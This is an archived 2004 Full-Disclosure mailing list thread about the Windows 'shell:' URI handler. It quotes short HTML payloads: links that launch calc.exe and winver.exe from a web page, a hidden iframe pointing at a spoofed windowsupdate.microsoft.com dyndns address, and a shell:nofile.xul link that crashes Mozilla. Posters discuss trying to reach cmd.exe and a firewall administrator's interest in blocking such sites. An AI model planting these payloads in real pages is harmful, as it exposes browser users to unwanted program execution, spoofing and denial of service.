full-disclosure - shell:windows command question

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From: jan.m.clairmont at citigroup.com (Clairmont, Jan M)
Subject: shell:windows command question

All denial of service issues are fair game.
One is how they do it and second any illegal redirection is a topic for discussion and concern.  In large corporate environs this could cause not just an annoying outage but locking out 
of support or other critical services.

Your information is necessary and welcome we can include that information on sites to be blocked.

Warm Regards,
Jan Clairmont
Firewall Administrator/Consultant

-----Original Message-----
From: full-disclosure-admin@...ts.netsys.com
[mailto:full-disclosure-admin@...ts.netsys.com]On Behalf Of Komrade
Sent: Wednesday, July 07, 2004 7:22 PM
To: FULL-DISCLOSURE@...ts.netsys.com
Subject: Re: [Full-Disclosure] shell:windows command question


>> On Wed, 7 Jul 2004, Perrymon, Josh L. wrote:
>>
>>  
>>
>>> -----snip------
>>> center><br><br><img src="nocigar.gif"></center>
>>> <center>
>>> <a href="shell:windows\snakeoil.txt">who goes there</a></center> <iframe
>>> src="http://windowsupdate.microsoft.com%2F.http-
>>> equiv.dyndns.org/~http-equiv/b*llsh*t.html" style="display:none">
>>> [customise as you see fit]
>>> <http://www.malware.com/stockpump.html>
>>> ------end----------
>>> The code above has interest to me.
>>> Even in Mozilla the commands below will work.
>>> <a href=shell:windows\\system32\\calc.exe>1</a>
>>> <a href=shell:windows\system32\calc.exe>2</a>
>>> <a href=shell:windows\system32\winver.exe>4</a>
>>> Just save them to an .html file and run it.
>>> The first one with the double quotes was from bugtraq:
>>> Bugtraq: Internet Explorer Causing Explorer.exe - Null Pointer Crash
>>> <http://seclists.org/lists/bugtraq/2004/Mar/0188.html>
>>> The links below that will run calc as well as winver.
>>> It seems it calls windows as a virtual dir because c:\winxp is what I 
>>> have.
>>> I have been playing around to see if cmd.exe will work with it but 
>>> without
>>> luck.
>>> This is what is in the registry.
>>> HKEY_CLASSES_ROOT\Shell
>>> Look in the registry key above. You will find the shell object calls 
>>> Windows
>>> Explorer with a particular set of arguments.
>>> %SystemRoot%\Explorer.exe /e,/idlist,%I,%L
>>> So this is tied to explorer.exe. This is something involved with the
>>> underlying functions of windows
>>> and not IE so to speak because it works in Mozilla or from the run line.
>>> I'm trying to find out more about the shell: command because I can put a
>>> link on a site that seems to run anything
>>> in system32 dir. I'd like to see if you can pass parameters to it.
>>>
>>> Anyone give me more info on the shell:windows command?
>>> JP
>>>

I found an odd behaviour in my mozilla browser, when i try to execute 
this link:

<a href=shell:nofile.xul>click here</a>

(.xul file is a Mozilla XUL Document)

When i click on the link, i see many mozilla windows opening and 
consuming 100% of the CPU. The system became unstable, forcing me to 
disconnect from my login.

I have Mozilla 1.7b and Windows XP sp0.

This is not a real security matter, but it's quite annoying.



- Komrade -
- http://unsecure.altervista.org -

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